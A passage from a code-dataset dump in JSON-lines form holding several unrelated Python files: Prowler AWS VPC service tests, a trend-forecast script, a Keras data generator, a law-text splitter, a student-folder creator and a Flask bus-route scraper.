okay\")\n","repo_name":"ShahriarShovo/Ecommerce","sub_path":"payments/views/amar_pay/payment_success.py","file_name":"payment_success.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17533595171","text":"import json\n\nfrom boto3 import client, resource, session\nfrom moto import mock_ec2, mock_elbv2\n\nfrom prowler.providers.aws.lib.audit_info.models import AWS_Audit_Info\nfrom prowler.providers.aws.services.vpc.vpc_service import VPC, Route\nfrom prowler.providers.common.models import Audit_Metadata\n\nAWS_ACCOUNT_NUMBER = \"123456789012\"\nAWS_REGION = \"us-east-1\"\n\n\nclass Test_VPC_Service:\n    # Mocked Audit Info\n    def set_mocked_audit_info(self):\n        audit_info = AWS_Audit_Info(\n            session_config=None,\n            original_session=None,\n            audit_session=session.Session(\n                profile_name=None,\n                botocore_session=None,\n            ),\n            audited_account=AWS_ACCOUNT_NUMBER,\n            audited_account_arn=f\"arn:aws:iam::{AWS_ACCOUNT_NUMBER}:root\",\n            audited_user_id=None,\n            audited_partition=\"aws\",\n            audited_identity_arn=None,\n            profile=None,\n            profile_region=None,\n            credentials=None,\n            assumed_role_info=None,\n            audited_regions=[\"eu-west-1\", \"us-east-1\"],\n            organizations_metadata=None,\n            audit_resources=None,\n            mfa_enabled=False,\n            audit_metadata=Audit_Metadata(\n                services_scanned=0,\n                expected_checks=[],\n                completed_checks=0,\n                audit_progress=0,\n            ),\n        )\n        return audit_info\n\n    # Test VPC Service\n    @mock_ec2\n    def test_service(self):\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        assert vpc.service == \"ec2\"\n\n    # Test VPC Client\n    @mock_ec2\n    def test_client(self):\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        for regional_client in vpc.regional_clients.values():\n            assert regional_client.__class__.__name__ == \"EC2\"\n\n    # Test VPC Session\n    @mock_ec2\n    def test__get_session__(self):\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        assert vpc.session.__class__.__name__ == \"Session\"\n\n    # Test VPC Session\n    @mock_ec2\n    def test_audited_account(self):\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        assert vpc.audited_account == AWS_ACCOUNT_NUMBER\n\n    # Test VPC Describe VPCs\n    @mock_ec2\n    def test__describe_vpcs__(self):\n        # Generate VPC Client\n        ec2_client = client(\"ec2\", region_name=AWS_REGION)\n        # Create VPC\n        vpc = ec2_client.create_vpc(\n            CidrBlock=\"10.0.0.0/16\",\n            TagSpecifications=[\n                {\n                    \"ResourceType\": \"vpc\",\n                    \"Tags\": [\n                        {\"Key\": \"test\", \"Value\": \"test\"},\n                    ],\n                },\n            ],\n        )[\"Vpc\"]\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        assert (\n            len(vpc.vpcs) == 3\n        )  # Number of AWS regions + created VPC, one default VPC per region\n        for vpc in vpc.vpcs.values():\n            if vpc.cidr_block == \"10.0.0.0/16\":\n                assert vpc.tags == [\n                    {\"Key\": \"test\", \"Value\": \"test\"},\n                ]\n\n    # Test VPC Describe Flow Logs\n    @mock_ec2\n    def test__describe_flow_logs__(self):\n        # Generate VPC Client\n        ec2_client = client(\"ec2\", region_name=AWS_REGION)\n        new_vpc = ec2_client.create_vpc(CidrBlock=\"10.0.0.0/16\")[\"Vpc\"]\n        # Create VPC Flow log\n        ec2_client.create_flow_logs(\n            ResourceType=\"VPC\",\n            ResourceIds=[new_vpc[\"VpcId\"]],\n            TrafficType=\"ALL\",\n            LogDestinationType=\"cloud-watch-logs\",\n            LogGroupName=\"test_logs\",\n            DeliverLogsPermissionArn=\"arn:aws:iam::\"\n            + str(AWS_ACCOUNT_NUMBER)\n            + \":role/test-role\",\n        )\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        # Search created VPC among default ones\n        for vpc_iter in vpc.vpcs.values():\n            if vpc_iter.id == new_vpc[\"VpcId\"]:\n                assert vpc_iter.flow_log is True\n\n    # Test VPC Describe VPC Peering connections\n    @mock_ec2\n    def test__describe_vpc_peering_connections__(self):\n        # Generate VPC Client\n        ec2_client = client(\"ec2\", region_name=AWS_REGION)\n        # Create VPCs peers\n        vpc = ec2_client.create_vpc(CidrBlock=\"10.0.0.0/16\")\n        peer_vpc = ec2_client.create_vpc(CidrBlock=\"11.0.0.0/16\")\n        vpc_pcx = ec2_client.create_vpc_peering_connection(\n            VpcId=vpc[\"Vpc\"][\"VpcId\"],\n            PeerVpcId=peer_vpc[\"Vpc\"][\"VpcId\"],\n            TagSpecifications=[\n                {\n                    \"ResourceType\": \"vpc-peering-connection\",\n                    \"Tags\": [\n                        {\"Key\": \"test\", \"Value\": \"test\"},\n                    ],\n                },\n            ],\n        )\n        vpc_pcx_id = vpc_pcx[\"VpcPeeringConnection\"][\"VpcPeeringConnectionId\"]\n\n        vpc_pcx = ec2_client.accept_vpc_peering_connection(\n            VpcPeeringConnectionId=vpc_pcx_id\n        )\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        assert len(vpc.vpc_peering_connections) == 1\n        assert vpc.vpc_peering_connections[0].id == vpc_pcx_id\n        assert vpc.vpc_peering_connections[0].tags == [\n            {\"Key\": \"test\", \"Value\": \"test\"},\n        ]\n\n    # Test VPC Describe VPC Peering connections\n    @mock_ec2\n    def test__describe_route_tables__(self):\n        # Generate VPC Client\n        ec2_client = client(\"ec2\", region_name=AWS_REGION)\n        _ = resource(\"ec2\", region_name=AWS_REGION)\n\n        # Create VPCs peers as well as a route\n        vpc = ec2_client.create_vpc(CidrBlock=\"10.0.0.0/16\")\n        peer_vpc = ec2_client.create_vpc(CidrBlock=\"11.0.0.0/16\")\n        vpc_pcx = ec2_client.create_vpc_peering_connection(\n            VpcId=vpc[\"Vpc\"][\"VpcId\"], PeerVpcId=peer_vpc[\"Vpc\"][\"VpcId\"]\n        )\n        vpc_pcx_id = vpc_pcx[\"VpcPeeringConnection\"][\"VpcPeeringConnectionId\"]\n\n        vpc_pcx = ec2_client.accept_vpc_peering_connection(\n            VpcPeeringConnectionId=vpc_pcx_id\n        )\n        main_route_table_id = ec2_client.describe_route_tables(\n            Filters=[\n                {\"Name\": \"vpc-id\", \"Values\": [vpc[\"Vpc\"][\"VpcId\"]]},\n                {\"Name\": \"association.main\", \"Values\": [\"true\"]},\n            ]\n        )[\"RouteTables\"][0][\"RouteTableId\"]\n        # FilterNotImplementedError: The filter 'route.vpc-peering-connection-id' for DescribeRouteTables has not been implemented in Moto yet.\n        # main_route_table = ec2_resource.RouteTable(main_route_table_id)\n        # main_route_table.create_route(\n        #     DestinationCidrBlock=\"10.0.0.4/24\", VpcPeeringConnectionId=vpc_pcx_id\n        # )\n\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        vpc.vpc_peering_connections[0].route_tables = [\n            Route(\n                id=main_route_table_id,\n                destination_cidrs=[\"10.0.0.4/24\"],\n            )\n        ]\n        assert len(vpc.vpc_peering_connections[0].route_tables) == 1\n        assert vpc.vpc_peering_connections[0].id == vpc_pcx_id\n\n    # Test VPC Describe VPC Endpoints\n    @mock_ec2\n    def test__describe_vpc_endpoints__(self):\n        # Generate VPC Client\n        ec2_client = client(\"ec2\", region_name=AWS_REGION)\n        # Create VPC endpoint\n        vpc = ec2_client.create_vpc(CidrBlock=\"10.0.0.0/16\")[\"Vpc\"]\n\n        route_table = ec2_client.create_route_table(VpcId=vpc[\"VpcId\"])[\"RouteTable\"]\n        endpoint = ec2_client.create_vpc_endpoint(\n            VpcId=vpc[\"VpcId\"],\n            ServiceName=\"com.amazonaws.us-east-1.s3\",\n            RouteTableIds=[route_table[\"RouteTableId\"]],\n            VpcEndpointType=\"Gateway\",\n            PolicyDocument=json.dumps(\n                {\n                    \"Statement\": [\n                        {\n                            \"Action\": \"*\",\n                            \"Effect\": \"Allow\",\n                            \"Principal\": \"*\",\n                            \"Resource\": \"*\",\n                        }\n                    ]\n                }\n            ),\n            TagSpecifications=[\n                {\n                    \"ResourceType\": \"vpc-endpoint\",\n                    \"Tags\": [\n                        {\"Key\": \"test\", \"Value\": \"test\"},\n                    ],\n                },\n            ],\n        )[\"VpcEndpoint\"][\"VpcEndpointId\"]\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        assert len(vpc.vpc_endpoints) == 1\n        assert vpc.vpc_endpoints[0].id == endpoint\n        assert vpc.vpc_endpoints[0].tags == [\n            {\"Key\": \"test\", \"Value\": \"test\"},\n        ]\n\n    # Test VPC Describe VPC Endpoint Services\n    @mock_ec2\n    @mock_elbv2\n    def test__describe_vpc_endpoint_services__(self):\n        # Generate VPC Client\n        ec2_client = client(\"ec2\", region_name=AWS_REGION)\n        elbv2_client = client(\"elbv2\", region_name=AWS_REGION)\n\n        vpc = ec2_client.create_vpc(\n            CidrBlock=\"172.28.7.0/24\", InstanceTenancy=\"default\"\n        )\n        subnet = ec2_client.create_subnet(\n            VpcId=vpc[\"Vpc\"][\"VpcId\"],\n            CidrBlock=\"172.28.7.192/26\",\n            AvailabilityZone=f\"{AWS_REGION}a\",\n        )\n        lb_name = \"lb_vpce-test\"\n        lb_arn = elbv2_client.create_load_balancer(\n            Name=lb_name,\n            Subnets=[subnet[\"Subnet\"][\"SubnetId\"]],\n            Scheme=\"internal\",\n            Type=\"network\",\n        )[\"LoadBalancers\"][0][\"LoadBalancerArn\"]\n\n        endpoint = ec2_client.create_vpc_endpoint_service_configuration(\n            NetworkLoadBalancerArns=[lb_arn],\n            TagSpecifications=[\n                {\n                    \"ResourceType\": \"vpc-endpoint-service-configuration\",\n                    \"Tags\": [\n                        {\"Key\": \"test\", \"Value\": \"test\"},\n                    ],\n                },\n            ],\n        )\n        endpoint_id = endpoint[\"ServiceConfiguration\"][\"ServiceId\"]\n        endpoint_arn = f\"arn:aws:ec2:{AWS_REGION}:{AWS_ACCOUNT_NUMBER}:vpc-endpoint-service/{endpoint_id}\"\n        endpoint_service = endpoint[\"ServiceConfiguration\"][\"ServiceName\"]\n\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n\n        for vpce in vpc.vpc_endpoint_services:\n            assert vpce.arn == endpoint_arn\n            assert vpce.id == endpoint_id\n            assert vpce.service == endpoint_service\n            assert vpce.owner_id == AWS_ACCOUNT_NUMBER\n            assert vpce.allowed_principals == []\n            assert vpce.region == AWS_REGION\n            assert vpce.tags == []\n\n    # Test VPC Describe VPC Subnets\n    @mock_ec2\n    def test__describe_vpc_subnets__(self):\n        # Generate VPC Client\n        ec2_client = client(\"ec2\", region_name=AWS_REGION)\n        # Create VPC\n        vpc = ec2_client.create_vpc(\n            CidrBlock=\"172.28.7.0/24\", InstanceTenancy=\"default\"\n        )\n        subnet = ec2_client.create_subnet(\n            VpcId=vpc[\"Vpc\"][\"VpcId\"],\n            CidrBlock=\"172.28.7.192/26\",\n            AvailabilityZone=f\"{AWS_REGION}a\",\n        )\n        # VPC client for this test class\n        audit_info = self.set_mocked_audit_info()\n        vpc = VPC(audit_info)\n        assert (\n            len(vpc.vpcs) == 3\n        )  # Number of AWS regions + created VPC, one default VPC per region\n        for vpc in vpc.vpcs.values():\n            if vpc.cidr_block == \"172.28.7.0/24\":\n                assert vpc.subnets[0].id == subnet[\"Subnet\"][\"SubnetId\"]\n                assert vpc.subnets[0].default is False\n                assert vpc.subnets[0].vpc_id == vpc.id\n                assert vpc.subnets[0].cidr_block == \"172.28.7.192/26\"\n                assert vpc.subnets[0].availability_zone == f\"{AWS_REGION}a\"\n                assert vpc.subnets[0].public is False\n                assert vpc.subnets[0].nat_gateway is False\n                assert vpc.subnets[0].region == AWS_REGION\n                assert vpc.subnets[0].tags is None\n","repo_name":"prowler-cloud/prowler","sub_path":"tests/providers/aws/services/vpc/vpc_service_test.py","file_name":"vpc_service_test.py","file_ext":"py","file_size_in_byte":12522,"program_lang":"python","lang":"en","doc_type":"code","stars":8822,"dataset":"github-code","pt":"22"}
+{"seq_id":"12452483842","text":"import pandas as pd\r\nimport numpy as np\r\nimport os\r\n\r\nfolder_path = \"D:\\\\2022-2023\\\\thesis\\\\regression\\\\data\\\\data\"\r\noutput_folder = \"D:\\\\2022-2023\\\\thesis\\\\bottomup\\\\0911\\\\data\\\\individual_instr\\\\indivudual_trendcarry\\\\trend\"  # Assuming you want outputs in the same directory\r\n\r\nn_values = [2, 4, 8, 16, 32, 64]\r\n\r\nforecast_scalars = {\r\n    2: 12.1,\r\n    4: 8.53,\r\n    8: 5.95,\r\n    16: 4.10,\r\n    32: 2.79,\r\n    64: 1.91\r\n}\r\n\r\ncsv_files = [f for f in os.listdir(folder_path) if f.endswith('.csv')]\r\n\r\nfor csv_file in csv_files:\r\n    data = pd.read_csv(os.path.join(folder_path, csv_file), parse_dates=['DATETIME'])\r\n\r\n    results = {\"DATETIME\": data[\"DATETIME\"].iloc[1000:].tolist()}\r\n\r\n    # Replace missing or 0 values with recent ewma\r\n    for col in data.columns[1:]:\r\n        for i in range(len(data)):\r\n            if data[col].iloc[i] == 0 or np.isnan(data[col].iloc[i]):\r\n                data[col].iloc[i] = data[col].iloc[max(0, i-30):i].ewm(span=30, adjust=False).mean().iloc[-1]\r\n\r\n    for n in n_values:\r\n        forecast_col_name = f'forecast_{n}'\r\n        results[forecast_col_name] = []\r\n        \r\n        for i in range(1000, len(data)):\r\n            prices = data[\"price\"]\r\n            ewma_4n = prices.ewm(span=4*n, adjust=False).mean()\r\n            ewma_n = prices.ewm(span=n, adjust=False).mean()\r\n\r\n            ewma_std_dev_32 = prices.iloc[i-32:i].ewm(span=32, adjust=False).std().iloc[-1]\r\n            ewma_std_dev_1000 = prices.iloc[max(i-1000, 0):i].ewm(span=1000, adjust=False).std().iloc[-1]\r\n\r\n            sigma = 0.7 * ewma_std_dev_32 + 0.3 * ewma_std_dev_1000\r\n            raw_forecast = (ewma_n.iloc[i] - ewma_4n.iloc[i]) / sigma\r\n            scaled_forecast = raw_forecast * forecast_scalars[n]\r\n            capped_forecast = max(min(scaled_forecast, 20), -20)\r\n\r\n            results[forecast_col_name].append(capped_forecast)\r\n\r\n    df_results = pd.DataFrame(results)\r\n    output_file_path = os.path.join(output_folder, csv_file)  # Save with the same name in the output folder\r\n    df_results.to_csv(output_file_path, index=False)\r\n","repo_name":"kkkkk866/Thesis","sub_path":"data/0911/trend_forecast.py","file_name":"trend_forecast.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"3847300188","text":"# import libraries\nimport numpy as np\nimport tensorflow as tf\nimport pydicom\nimport pickle\nimport bz2\nimport os\nimport pandas as pd\nfrom skimage.transform import resize\nimport  matplotlib.pyplot as plt\nfrom scipy import ndimage\nimport random\nfrom tensorflow.keras.models import load_model\n\n\n# create custom data generator\nclass CustomDataGenSpecial(tf.keras.utils.Sequence):\n\n    def __init__(self, data_set, aug, create=True):\n\n        # define variables\n        self.data_set = data_set\n        self.augumentation = aug\n        self.size = 512\n        self.batch = 8\n        is_file ='D:/tiya2023/lungabnormality/data/allvinbig' + self.data_set + '.pbz2'\n\n        if os.path.isfile(is_file) and create:\n            print(\"Getting saved data\")\n            data = bz2.BZ2File(is_file)\n            self.x, self.y = pickle.load(data)\n            print(\"got\")\n\n            #self.x = self.x[:20]\n            # self.y = self.y[:20]\n\n            self.n = len(self.y)\n            print(len(self.y))\n\n    def __getitem__(self, idx):\n        if idx == 0:\n            indices = [i for i in range(len(self.x))]\n            random.shuffle(indices)\n            xxx = [self.x[i] for i in indices]\n            yyy = [self.y[i] for i in indices]\n            self.x = xxx\n            self.y = yyy\n\n            del xxx, yyy\n\n        if (idx + 1) * self.batch > len(self.x):\n            x = self.x[idx * self.batch: len(self.x)]\n            y = self.y[idx * (self.batch): len(self.x)]\n        else:\n            x = self.x[idx * self.batch: (idx + 1) * self.batch]\n            y = self.y[idx * (self.batch): (idx + 1) * self.batch]\n\n        preds = []\n\n        for d in ['Aortic Enlargement', 'Atelectasis', 'Calcification' , 'Cardiomegaly', 'Consolidation', 'ILD', 'Infiltration', 'Lung Opacity',\n            'Nodule-Mass', 'Other lesion', 'Pleural effusion', 'Pleural thickening', 'Pneumothorax', 'Pulmonary fibrosis']:\n            n = \"D:/tiya2023/lungabnormality/model/\" + d\n            m = load_model(n + '.h5')\n            x_l = np.array(x)\n            x_l = np.reshape(x_l, (x_l.shape[0], self.size, self.size, 1))\n            a = m.predict(x_l, batch_size=2)\n            preds.append(a)\n\n        preds = np.array(preds)\n\n        # normalize data using min-max method\n        x = (np.max(preds, axis=0))\n        y = np.array(y)\n\n        x = np.reshape(x, (x.shape[0], self.size, self.size, 1))\n        y = np.reshape(y, (x.shape[0], self.size, self.size, 1))\n        return x, y\n\n    def __len__(self):\n        return self.n // self.batch","repo_name":"Sanskriti-Slngh/tiya2023d","sub_path":"lungabnormality/code/model/datagenspecial.py","file_name":"datagenspecial.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70110494455","text":"\"\"\"\r\n\r\n 章 -> 节 optional -> 条\r\n\r\n\"\"\"\r\nimport re\r\nimport json\r\nxingfa_file_path = \"/code/explanation_project/explanation_model/models_v2/data/中华人民共和国刑法.txt\"\r\nwith open(xingfa_file_path, 'r') as f:\r\n    xingfa = f.read()\r\n\r\nxingshisusong_file_path = \"/code/explanation_project/explanation_model/models_v2/data/中华人民共和国刑事诉讼法.txt\"\r\nwith open(xingshisusong_file_path, 'r') as f:\r\n    xingshisusong = f.read()\r\n\r\nxingshisusong_exp_file_path = \"/code/explanation_project/explanation_model/models_v2/data/最高人民法院关于适用中华人民共和国刑事诉讼法的解释.txt\"\r\nwith open(xingshisusong_exp_file_path, 'r') as f:\r\n    xingshisusong_exp = f.read()\r\n\r\njianxing_file_path = \"/code/explanation_project/explanation_model/models_v2/data/最高人民法院关于办理减刑、假释案件具体应用法律的规定.txt\"\r\nwith open(jianxing_file_path, 'r') as f:\r\n    jianxing = f.read()\r\n\r\nhetongfa_file_path = \"/code/explanation_project/explanation_model/models_v2/data/中华人民共和国合同法.txt\"\r\nwith open(hetongfa_file_path, 'r') as f:\r\n    hetongfa = f.read()\r\n\r\nminshisusongfa_file_path = \"/code/explanation_project/explanation_model/models_v2/data/中华人民共和国民事诉讼法.txt\"\r\nwith open(minshisusongfa_file_path, 'r') as f:\r\n    minshisusongfa = f.read()\r\n\r\ndef process_tiao(tiao, law_name):\r\n    if law_name==\"jianxing\":\r\n        new_tiao = tiao\r\n    else:\r\n        new_tiao = tiao[1:]\r\n    i = 0\r\n    while i < len(new_tiao):\r\n        j = 0\r\n        while j < len(new_tiao[i]):\r\n            new_tiao[i][j].pop(0)\r\n            if len(new_tiao[i][j]) == 0:\r\n                new_tiao[i].remove(new_tiao[i][j])\r\n                j = j - 1\r\n            j = j + 1\r\n        i = i + 1\r\n    return new_tiao\r\n\r\n\r\ndef produce_law(law_name):\r\n    \"\"\"\r\n    先分章\r\n    \"\"\"\r\n    text = eval(law_name)\r\n    zhang = re.split(\"第.*?章\\u3000\", text)\r\n\r\n    \"\"\"\r\n    再分节\r\n    \"\"\"\r\n\r\n    jie = [re.split(\"第.*?节\\u3000\", sent) for sent in zhang]\r\n\r\n    \"\"\"\r\n    再分条\r\n    \"\"\"\r\n\r\n    tiao = [[re.split(\"第.*?条\\u3000\", sent) for sent in list_sent] for list_sent in jie]\r\n    new_tiao = process_tiao(tiao, law_name)\r\n    law_dic = {}\r\n    all_len = 0\r\n    all_law_part = re.findall(\"第.*?条\\u3000\", text)\r\n    i = 0\r\n    for item1 in new_tiao:\r\n        for item2 in item1:\r\n            all_len += len(item2)\r\n            for l in item2:\r\n                law_dic[all_law_part[i][:-1]] = l\r\n                i = i + 1\r\n    print(all_len)\r\n\r\n\r\n    with open(\"/code/explanation_project/explanation_model/models_v2/data/{}_law_dic.json\".format(law_name),\r\n              'w') as f:\r\n        json.dump(law_dic, f, ensure_ascii=False)\r\n\r\n    with open(\"/code/explanation_project/explanation_model/models_v2/data/{}_law_list.json\".format(law_name),\r\n            'w') as f:\r\n        json.dump(new_tiao, f, ensure_ascii=False)\r\n    return new_tiao, law_dic\r\n\r\n#produce_law('xingfa')\r\n#produce_law('xingshisusong')\r\n#produce_law(\"xingshisusong_exp\")\r\n#produce_law(\"jianxing\")\r\n# produce_law(\"hetongfa\")\r\n# produce_law(\"minshisusongfa\")\r\n\r\n\r\n\r\n\r\n","repo_name":"Jeryi-Sun/Law-Match-SIGIR-23","sub_path":"causal _discovery/law_process.py","file_name":"law_process.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"11838313716","text":"import sys\n\nimport subprocess\nROOT_DIR = \"/home/bryan/a_workspace/\"\nCONTENT_DIR = ROOT_DIR + \"3042020Gather/content/\"\nWORKING_DIR = ROOT_DIR + \"2019_portfolios/\"\nSTUDENT_DIR = WORKING_DIR+\"Student Documents/\"\nTEMP_DIR = WORKING_DIR + \"temp/\"\n\ndef read_names():\n\tname_file = open(WORKING_DIR+\"48872 Students and Test(2019) - Student List.csv\", \"r\")\n\tlines = name_file.readlines()\n\tstudent_list = []\n\tfor line in lines:\n\t\twords = line.split(\",\")\n\t\t# remove from our list the first line of data in the csv, and all students that are withdrawn\n\t\tif words[2] == \"WITHDRAWN\" or words[0] == \"Student Name\":\n\t\t\tcontinue\n\t\twords = words[1::-1]\n\t\tstudent_list.append(words)\n\treturn(student_list)\n\tname_file.close()\n\ndef make_directory(student_list):\n\tthis_list = student_list\n\tfor student in this_list:\n\t\tlocation = STUDENT_DIR+student[1]\n\t\tworkbook_location = location+\"/Workbook/Individual\"\n\t\tformative_location = location+\"/Formative Assessments/Individual\"\n\t\tsummative_location = location+\"/Summative Assessments/Individual\"\n\t\tfeedback_location = location+\"/Sprint Feedback/Individual\"\n\t\tportfolio_location = location+\"/Portfolio Document/Individual\"\n\t\tsubprocess.call([\"mkdir\",\"-p\", workbook_location])\n\t\tsubprocess.call([\"mkdir\",\"-p\", formative_location])\n\t\tsubprocess.call([\"mkdir\",\"-p\", summative_location])\n\t\tsubprocess.call([\"mkdir\",\"-p\", feedback_location])\n\t\tsubprocess.call([\"mkdir\",\"-p\", portfolio_location])\n\nstudent_list = read_names()\nmake_directory(student_list)\n","repo_name":"bryan-ai/seta_button","sub_path":"make_directories.py","file_name":"make_directories.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9476590645","text":"from flask import Flask, jsonify, render_template, request, Response\nfrom jinja2 import Environment, PackageLoader\nfrom urllib import urlopen\nfrom bs4 import BeautifulSoup\nimport json, socket, urllib2\n\napp = Flask(__name__)\nenv = Environment(loader=PackageLoader('server', 'templates'))\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n@app.route('/busList')\ndef busList():\n\tf=open('data/busList','r')\n\tlist=f.read().split('|')\n\ttemplate = env.get_template('busSearch.html')\n\treturn template.render(localStopList=[],busList=list)\n\n@app.route('/getBus')\ndef getBus():\n\tf=open('data/routeList','r')\n\tlist=f.read().split('|')\n\ttemplate = env.get_template('placeSearch.html')\n\treturn template.render(placeList=list)\n\n@app.route('/getBusRoute')\ndef getBusRoute():\n\tbus=request.args.get('bus','',type=str)\n\tu=urlopen('http://www.mtcbus.org/Routes.asp?cboRouteCode='+bus)\n\tsoup = BeautifulSoup(str(u.read()), \"html.parser\")\n\t# a=[v for v in[w for w in[z for z in[y for y in[x for x in soup.table.tr][3].table][1].table][1].table][1].children]\n\t# a=a[3:-2]\n\t# a.pop(1)\n\t# a.pop(1)\n\tb=soup.find_all('table')[6].find_all('tr')\n\tresJS={\n\t\t'busType': b[2].find_all('td')[1].string,\n\t\t'busFrom': b[2].find_all('td')[2].string,\n\t\t'busTo': b[2].find_all('td')[3].string,\n\t\t'busTime': b[2].find_all('td')[4].string,\n\t\t'placeData': 0\n\t}\n\tresJS['placeData']=[str(x.find_all('td')[-1].string) for x in b[5:-2]]\n\treturn Response(json.dumps(resJS), mimetype='application/json')\n\n@app.route('/getPlaceBuses')\ndef getPlaceBuses():\n\tp1=request.args.get('p1','',type=str)\n\tp2=request.args.get('p2','',type=str)\n\tu1=urlopen('http://www.mtcbus.org/Places.asp?cboSourceStageName='+p1+'&submit=Search.&cboDestStageName='+p2)\n\tu2=urlopen('http://www.mtcbus.org/Places.asp?cboSourceStageName='+p2+'&submit=Search.&cboDestStageName='+p1)\n\tsoup1 = BeautifulSoup(str(u1.read()), \"html.parser\")\n\tsoup2 = BeautifulSoup(str(u2.read()), \"html.parser\")\n\ta=soup1.find_all('table')[-3].find_all('tr')[1:-1]\n\tb=soup1.find_all('table')[-3].find_all('tr')[1:-1]\n\tresJS={\n\t\t'fromPlace':p1,\n\t\t'toPlace':p2,\n\t\t'busData':0,\n\t\t'deluxCost':0,\n\t\t'nightCost':0,\n\t\t'acCost':0,\n\t\t'ordinaryCost':0,\n\t\t'expressCost':0\n\t}\n\tresJS['busData']=[{\n\t\t'busNo':str(x.find_all('td')[1].string),\n\t\t'busType':str(x.find_all('td')[2].string),\n\t\t'busTime':str(x.find_all('td')[3].string),\n\t\t'busFrom':str(x.find_all('td')[4].string),\n\t\t'busTo':str(x.find_all('td')[5].string),\n\t\t'noBus':str(x.find_all('td')[6].string)\n\t} for x in b]\n\tif(len(a)!=len(b)):\n\t\tfor x in a:\n\t\t\tfor y in resJS['busData']:\n\t\t\t\tif(str(x.find_all('td')[1].string)!=y['busNo']):\n\t\t\t\t\tresJS['busData'].append({\n\t\t\t\t\t\t'busNo':str(x.find_all('td')[1].string),\n\t\t\t\t\t\t'busType':str(x.find_all('td')[2].string),\n\t\t\t\t\t\t'busTime':str(x.find_all('td')[3].string),\n\t\t\t\t\t\t'busFrom':str(x.find_all('td')[4].string),\n\t\t\t\t\t\t'busTo':str(x.find_all('td')[5].string),\n\t\t\t\t\t\t'noBus':str(x.find_all('td')[6].string)\n\t\t\t\t\t});\n\tcostData=[0,3,4,5,5,6,6,6,7,7,8,8,8,9,9,9,9,9,10,10,10,11,11,12,12,13,13,14,14]\n\tif(resJS['busData']!=0):\n\t\t#u3=urlopen('http://localhost:5000/getBusRoute?bus='+resJS['busData'][0]['busNo'])\n\t\t# proxy_support = urllib2.ProxyHandler({'http':'http://proxy.ssn.net:8080/'})\n\t\t# opener = urllib2.build_opener(proxy_support,urllib2.HTTPHandler(debuglevel=1))\n\t\t# urllib2.install_opener(opener)\n\t\treq=urllib2.Request('http://localhost:5000/getBusRoute?bus='+resJS['busData'][0]['busNo'],None,{'User-agent':'Mozilla/5.0'})\n\t\tu3=urllib2.urlopen(req)\n\t\tnewJSON=json.loads(u3.read())\n\t\tdiff=newJSON['placeData'].index(p1)-newJSON['placeData'].index(p2)\n\t\tif(diff<0):\n\t\t\tdiff=-diff\n\t\tresJS['deluxCost']=costData[diff]*2+1\n\t\tresJS['expressCost']=costData[diff]*1.5\n\t\tresJS['ordinaryCost']=costData[diff]\n\t\tresJS['nightCost']=costData[diff]*2\n\t\tif(costData[diff]*2.5<15):\n\t\t\tresJS['acCost']=15\n\t\telse:\n\t\t\tresJS['acCost']=costData[diff]*2.5\n\treturn Response(json.dumps(resJS), mimetype='application/json')\n\nif __name__ == \"__main__\":\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.bind(('localhost', 0))\n    port = sock.getsockname()[1]\n    sock.close()\n    app.run(host='0.0.0.0', port=8080, debug='true', threaded=True)\n","repo_name":"bigomega/chennai-mtc-ui","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"19482279589","text":"import scipy.integrate as integrate\nfrom numpy import pi, sin, cos, divide\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nimport matplotlib.cm as cm\n\ndef find_nearest(array, value):\n    array = np.asarray(array)\n    idx = (np.abs(array - value)).argmin()\n    return array[idx]\n\nr1 = 14.2\nr2 = 31.8\nr3 = 184.1\nr4 = 203.2\nr5 = 304.8\nr6 = 323.8\nR = 425.5\n\n# radii = [r2, r3]\nradii = [r1, r2, r3, r4, r5, r6, R]\n\nnshift_radii = np.round((radii/np.max(radii))*255+255)\n\n# circle_points = [50, 25, 1, 3, 1, 2, 0.5]\ncircle_points = [50, 25, 10, 30, 10, 20, 15]\nwedge_points = np.arange(1,21)\n# Randomize Wedge Points\nrandom.shuffle(wedge_points)\n# print(wedge_points)\n\n# Wire Width\nw = 1.5 # * mm\n\npie_angle = 18\nnum_wedges = 360/pie_angle\nwedge = np.arange(0, 256, 1)\n\n\nsampling_size = 512\ntheta = np.arange(0, np.pi, np.pi/sampling_size)\n# theta = np.append(np.arange(0.0, np.pi, np.pi/511,0)) \n\n# circ_coords = np.ndarray((len(theta), 2))\ncirc_coords = np.ndarray((len(theta), 2, len(radii)))\nfor ii in range(len(radii)):\n    x = radii[ii]*np.cos(theta)\n    y = radii[ii]*np.sin(theta)\n    circ_coords[:,0,ii] = x\n    circ_coords[:,1,ii] = y    \n    # circ_coords[:,0] = x\n    # circ_coords[:,1] = y  \n#     